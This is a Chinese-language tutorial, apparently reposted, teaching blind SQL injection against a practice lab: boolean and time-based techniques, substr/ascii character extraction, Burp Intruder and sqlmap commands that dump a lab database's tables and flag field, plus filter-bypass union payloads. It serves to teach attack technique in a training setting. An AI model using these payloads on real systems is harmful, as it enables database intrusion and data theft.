盲注
Posted 夏大冰雹
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了盲注相关的知识,希望对你有一定的参考价值。
目录
1、注入攻击的本质
注入攻击的本质是把用户输入的数据当做代码执行;
SQL注入的两个关键条件:
- 用户能够控制输入;
- 原本程序要执行的代码,拼接了用户输入的数据。
2、盲注的介绍
盲注属于SQL注入的一种,SQL注入可以通过不同的类别来分类,比如按照传参方式分类SQL注入:GET、POST、HEAD(COOKIE),根据做法的不同,我们也可以把这些分类为盲注、报错注入和显错注入;
盲注是什么?
(一)布尔盲注
布尔是一种类型,核心是在于判断正确与否。布尔就是指这个页面有回显,但是不会显示具体内容,只会显示语句是否正常执行;
举个例子,这是一条存在sql注入的语句;
在这里输入and 1=1;
会发现页面显示有数据;
将and 1=1修改为and 1=1;
会发现页面没有显示有数据;
这就是一个典型的布尔型盲注,因为它会根据回显来判断语句是否执行成功;
在这里输入order by 1;
页面显示有数据,代表order by 1 有数据;
输入order by 2;
页面也显示有数据,代表order by 2 有数据;
再尝试一下order by 3;
会发现没数据,说明只有两个字段;
输入union select 1,2;
出现错误;
这里要注意逗号是英文格式,中文格式会导致出错,下面这个才是正确的;
这时候会发现没有输出点;
当联合查询毫无输出点的时候,就需要用到布尔注入。通过布尔盲注可以判断语句是否正常执行。
(二)时间盲注
有一些网站对于你的传参并不敏感,比如说这个页面你传递什么参数,它返回的都一样,无论你传参什么内容,代码是否正确,它返回的结果都是一样的,这是一种很标准的盲注;
时间盲注就比较特殊些,原题如下:
输入and 1=1,但是要记得把双引号闭合掉;
会发现页面返回正常;
把and 1=1修改为and 1=2;
页面返回正常;
尝试输入 and 1=20;页面也返回正常;
这时候会发现无论我们写什么,无论语句是否有用,是否成立,它的回显都是一模一样的。布尔盲注起码还有个判断,时间盲注就是什么判断都没了,不管怎么写回显都是一样。
3、盲注常用方法
盲注不需要猜字段,不需要union,最重要的是and or;
比如说,我们可以通过and 1=1,1=2或者1=3以此类推来判断是否正确,是否存在数据,发挥一下想法,我们是否可以用and database()=' '来判断库名是否正确;
举个例子我们输入and database()='kanwolongxia',如果说它页面有回显,就说明这个库名正确了呢
有回显,说明库名猜对了;
如果这里写的不是kanwolongxia(谐音看我龙虾),写的是错误的库名,就不会有回显,这里我们尝试输入shizhishayu(是只鲨鱼);
会发现没有回显,就代表这个库名不等于这个的,是错误的;
所以我们可以通过等于来判定它究竟是不是我们想要的东西,从上面那道题中很明显的发现有数据就代表我的猜测是对的,如果我写的是其他的(错误的),它返回的是没数据,就说明我的猜测是错误的。通过布尔盲注这样的方法可以得到我们想要的数据,比如说这道题我们获取到库名了,那么就可以通过查系统自带库,系统自带表去获取到其他的数据。
字符越多,组合就越多,密码就越安全,但是上面那道题肯定不是我们碰运气,把密码猜出来的,学习盲注还有一个特别重要的内容就是分割,我们需要掌握几个函数;
(一)length()函数
返回字符串额长度,是判断字符长度的一个函数;
首先在bin目录下打开cmd;
输入select length(),可以检测括号内字符串的长度;
那么这样的话我们不就可以知道自己想要的东西的长度,先看看database是否大于1;
结果是大于1,显示有数据;
我们再看看是否大于10呢;
结果是大于10;
再看看是否大于15;
没数据了,说明它不大于15;
那我们就缩小范围,再试试看它是否大于12;没有数据,很明显不大于12;我们将范围缩小到11;
显示有数据,说明大于11;
一个数字大于11,不大于12,那是什么数字呢,很明显那就是等于12;
有数据,结果等于12,说明长度是12;
现在我们知道字符的长度之后,要怎么切呢,这个时候就要用到另一个函数;
(二)substr()截取字符串
语法:SUBSTR(str,pos,len)
str:填字符串的内容 | pos:填从哪里切 | len:填切多长 |
举个例子,我们从第1个字符开始切,切1个字符;
试试从第1个字符开始切,切2个字符;
从第3个字符开始切,切1个字符;
如果我们从第三个字符开始切,切100个字符,会是什么样的结果,会报错还是切出所有字符串;结果是切出了第三个字符后面的所有字符;
如果我们从-1个字符开始切,切1个,它会怎么切;结果说明它会切最后一位,-1就是倒着切,做字符串的分割处理的时候,写负数就是倒着切,写正数就是正着切;
我们知道怎么去切字符串,那我们就知道刚才那道题database要怎么去切;
从第1个字符开始切,切1个,我们不知道是什么,所以我们就拿a试一试,a不是我们就拿b试一试,b不是就拿c试一试,以此类推;
用26个字母一个个去尝试也比较麻烦,但是我们在做前面判断长度的时候是用大于小于来判断长范围是不是,我们也可以用这个方法去缩小我们的尝试范围;
database大于a,显示有数据,就说明从第一个字符开始,取1个字符,这个字符大于a;
尝试看是否大于m;
没有数据,就说明第1个字符不大于m,说明第1个字符小于m,现在我们只需要尝试a~m范围;
试试看用j;
有数据,说明第1个字符在j~m这个范围之间;
j~m有j、k、l、m这四个,接下来尝试k;
没有数据,说明不大于k;
不大于k,那结果会不会等于k; 结果是从第1个字符开始取,取1个,这个字符是k;
数字是可以比较的,字符不一定可以比较,但是如果我们把字符转化为数字,就可以做比较,做比较就可以缩短区间。我们要学习一个东西叫ASCII,ASCII码表的核心就是将字符转化为二进制和十六进制;
在数据库里,字符是可以比较的;是通过ASCII码来做运算的;
ASCII是怎么写的呢,通过做这个方法可以知道a的代码是97;
回到刚才那道题,我们可以看看是否大于97(a);结果显示有数据,说明大于97;
我们试试看110;结果没有数据,说明小于110;
我们继续缩小范围,试试看105;显示有数据,说明大于105;
试试106;有数据,说明大于106;
通过缩短区间,我们的范围在106~110之间,我们再试试看107;没数据,说明不大于107;
不大于107,那是否等于107呢? 结果是等于107;
107在SCII码表里等于k,第1个字符就是k了;
(三)利用Burp跑出数据
盲注要多次尝试,比较麻烦,我们有两个方法比较快捷,第一个是Sqlmap,第二个是用Burp跑,Burp有跑包功能,更多是自己测试,Sqlmap有些地方跑不出漏洞,会遇到一种情况,就是你明知道它是漏洞,它就是跑不出来
如何用Burp跑
首先先抓一个包;
再拖进跑包模块;
然后会出现下面这个界面;
下一步,清除数据包绿色默认选择部分;
很明显database被分割了,我们是否可以在这个地方设个跑包;
设置好1-12之后,我们再设置后面的ASCII ;
如果同时跑数据1-12和ASCII码1-127,这两个同时跑,是否能快速的得到我们想要的东西;
要想达到同时跑的效果,需要先调整模式;
接下来将要跑的地方框起来;
第二个要跑的地方也框起来;
添加之后,就要加载字典;
字典选中numbers;
Payload set设置为2;
ASCII码是1-127,类型就要改成数字,ASCII码表里32以前的几乎都是特殊字符,是不能用来作为库名的,所以很多人都是从32开始跑,跑32-127;但是为了保险起见,还是跑全比较好;
接下来就是开跑;
开跑后这个地方会有长度返回,有数据的话,长度明显长了;
没数据的话,它的显示长度都是一样的;
我们可以通过这样的方法去测试它是否存在我们想要的数据,很明显痛过查看,3197就是长数据,3167就是短数据;
这些数据,我们通过ASCII码表转化一下,就能得出下面的内容,也就是最终的库名;
107 | 97 | 110 | 119 | 111 | 108 | 111 | 110 | 103 | 120 | 105 | 97 |
k | a | n | w | o | l | o | n | g | x | i | a |
kanwolongxia就是最终库名;
在上面这道题中,我们得到了库名下一步就是查字段名或表名,表名该如何查呢?
表名查询语句:
select table_name from information_schema where table_schema=database() limit 0,1
这样的话就会去输出第1个字段的第1个表的名字;
前面我们通过截取字段的方法,可以获取到了库名;
1 and ascii(substr(database(),1,1))=107
结合上面的两条语句,如果将表名查询这条语句替换掉database,能否执行呢?
1 and ascii(substr(select table_name from information_schema where table_schema=database() limit 0,1,1,1))=107
结果是不能执行!因为受到了子查询的干扰,直接替换掉database,是不能正常执行的;
正确是这样:
1 and ascii(substr((select table_name from information_schema where table_schema=database() limit 0,1),1,1))=107
所以我们要利用子查询,子查询是一个优先执行的查询,这条语句带上括号,它会将查询出来的内容当作字符串来对待,就相当于说(select table_name from information_schema where table_schema=database() limit 0,1)要查询出来的是个字符串,那整条语句去执行,执行到1 and ascii(substr(的时候,对于它来说就是个字符串,所以我们可以通过这样的方法去获取表名。
我们尝试看看获取表名;
结果显示没数据,说明表名不等于k(107);
那我们先看看是否大于1;
结果是不大于1,那就说明我们的代码写错了;
检查看代码有什么问题,先检查括号的闭合,没有问题再看看代码有没有写错;
1 and ascii(substr((select table_name from information_schema where table_schema=database() limit 0,1),1,1))>1
检查过后发现漏了.tables;
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
加上之后,就有数据了;
我们试试看是否大于97(a);
有数据,说明它大于97(a);
再看看是否大于105;
有数据,说明它大于105;
再试试看是否大于110;
没有数据,说明不大于110;
那么我们就能缩小范围,结果在105~110之间,再试试看是否大于107;
有数据,我们的范围缩小了,结果就在107~110之间;
是不是108呢;
结果就是108,ASCII码表对应的是l
我们可以通过这样的方法去得到我们的库名、表名、字段名和数据;
(四)利用Sqlmap跑出数据
Sqlmap是一个工具,它偏爱盲注,Sqlmap无论是什么注入,它只要能跑出来的,就一定有盲注;
注入的类型有很多种,如果能联合查询,就不报错注入;如果能报错注入,就不布尔盲注;如果能布尔盲注,就盲注。一般来说,正常情况下,只要是有注入的,能联合查询,盲注都能做。所以Sqlmap跑出来,无论怎么跑,Sqlmap都会出盲注;
有的摆明联合查询跑不出来,它就是要跑盲注,这是很正常的一件事情。那么怎么跑呢?
首先先了解一下工具注入的步骤:
注入点 => 库名 => 表名 => 字段名 => 数据
a.注入点:
注入点就是通过手动输入SQL语句页面返回相应带有数据显示的url链接称之为注入点,由于工具没办法扫描出注入点,所以由手动输入代码找到注入点;
注入点:http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
b.获取库名
拿到手动测试出来带有数据的注入点url之后就开始获取库名;
前面我们尝试了>97和=108的注入链接结果是一样的,都是显示有数据,因为在实际状况下,没有这么容易获取具体数值 所以使用>97这种模糊的数值更容易获取到数据;
命令:--current-db 获取当前数据库
获取当前数据库:sqlmap -u http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108 --current-db
得到当前库名;
c.获取表名;
我们通过注入获取到了库名(kanwolongxia) 那么接下来就是获取到表;
命令:-D xxx(指定要枚举的数据库名字) --tables枚举出数据库中的所有表
获取表名:python3.10 sqlmap.py -u http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108 -D kanwolongxia --tables
获取到kanwolongxia这个库里的所有表;
d.获取字段名(列名)
拿到所有的表名以后我们要获取表里面的列名;
命令:-D xxx(指定要枚举的数据库) -T xxxx(指定要枚举的数据表) --columns枚举出表中的所有列
获取字段名:python3.10 sqlmap.py -u http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108 -D kanwolongxia -T loflag --columns
获取到kanwolongxia库里的loflag表里的所有字段;
e.获取数据
拿到列名以后就要查看里面的数据
命令:-D xxx(指定要枚举的数据库) -T xxxx(指定要枚举的数据表) --dump 导出xxx数据库表项 -C xxx(指定要枚举的数据库) --dump导出xxx数据库表项
获取数据:python3.10 sqlmap.py -u http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=108 -D kanwolongxia -T loflag -C flaglo --dump
获取到了kanwolongxia库里的loflag表里的flaglo字段里的所有数据;
(五)sleep()函数
有一些网站对于你的传参并不敏感,比如说这个页面你传递什么参数,它返回的都一样,无论你传参什么内容,代码是否正确,它返回的结果都是一样的,下面这种就是很标准的时间盲注;
这个时候我们就要用到sleep函数,如果我们让它休眠10秒,看看是什么结果;
会发现页面开始转了;
如果页面延时了10秒或者更长时间,那说明它这里延时了,延时说明它这条语句生效了,所以我们可以通过这个来判断这里是否存在漏洞,不管页面显示什么,只要延时了,就已经生效了;
如果不确定是延时了,还是网络不好,那我们就可以用两个网页测试下,延时只对当前请求有效果,它不是对整个网页有效果的,没有输入延时语句的那个网页如果一下就能跳转到相应的页面的话,那就说明网络顺畅;
(六)if()函数
语法:if(条件,成立执行,不成立执行)
打开mysql数据库,输入启动语句;
然后再输入我们要测试的语句select if(1=1,5,6),返回了5,因为1=1,是成立的,所以返回了5;
如果说写1=2,那就是返回6 ,因为1不等于2,不成立,所以返回6;
这样的话,如果成立我们能否给它延时,我们试试看能否延时10秒 ;
结果是成立,它确实延时了10秒,那我们是否可以用这样的方法去判断库名和表名?我们试试看;
题目:
1 and ascii(substr(database(),1,1))=97
上面这句话是我们前面做题用到的语句,意思是从数据库的库名来取,取第1个字符,取1个,它是否等于97,我们把这句话作为条件,看看能否执行;
if(ascii(substr(database(),1,1))=97,sleep(10),6)
PS:URL栏里的双引号为解题需要,有闭合的作用。
跳转的过程中没有延时,说明从库名取第1个字符,取1个字符,这个字符不等于97;
条件可以自己设定,可以设定成立就延时,也可以设定不成立就延时,但是不延时还有一个原因,那就是代码写错了;
仔细看上面的代码,就能够发现代码写错了;
正确的代码是:
if(ascii(substr(database(),1,1))=97,sleep(10),6) -- qwe
没有延时,说明不等于97;
我们将范围扩大,看看是否大于97,成立的话就会延时10秒;
开始转,说明执行了这条语句,说明这个字符是大于97的;
虽然时间盲注无论你输入什么它的回显都是一样的,但是我们可以通过这样的方法,将sleep()和if()函数一起运用起来,通过这样的方法,也能够得到我们想要的数据,也可以用Sqlmap测,但是语句要写出来,要把猜库名,表名和字段名的语句写出来。
4、注释符号不让写怎么办?
有时会遇到不让我们输入注释符号的情况,比如说不让输入# -- / *这些符号
解决方法:末尾构建对应的单引号、双引号或者括号闭合,或者构建没有用的条件闭合可以
题目:
有3个字符;
特意写了一个单引号来跟后面的单引号做一个闭合,所以当注释不让写的时候,可以写一个闭合上去;
严谨的写法:http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() and 'a'='a
有很多种方法;
http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1' union select 1,2,3'
没报错;
实在不行就构建没有用的条件闭合;
http://inject2b.lab.aqlab.cn/Pass-03/index.php?id=1%27)%20union%20select%201,2,3%20from%20user%20where%20(%27a%27)=(%27
也会遇到=和空格不让写,或者还有其他的特殊符号不让输入,遇到这样的情况我们可以用可以代替的字符,比如说在URL栏里空格有3种形式,一种是空格,一种是%20,一种是+,这三种都是空格的意思;
比如说sql注入=符号不让写怎么办,可以写like,也可以写in。
如何用SQLMap进行SQL盲注测试
参考技术A 如何用SQLMap进行SQL盲注测试SQL盲注:用SQL查询语句去猜解表名、字段、数据。
拿个简单的查询来说
select * from table where 条件='' or 1=1 --'
也就是在你的查询参数中加入:' or 1=1 --
其他改、删类似,注入的方式有很多种,以上只是最基本的一种。
以上是关于盲注的主要内容,如果未能解决你的问题,请参考以下文章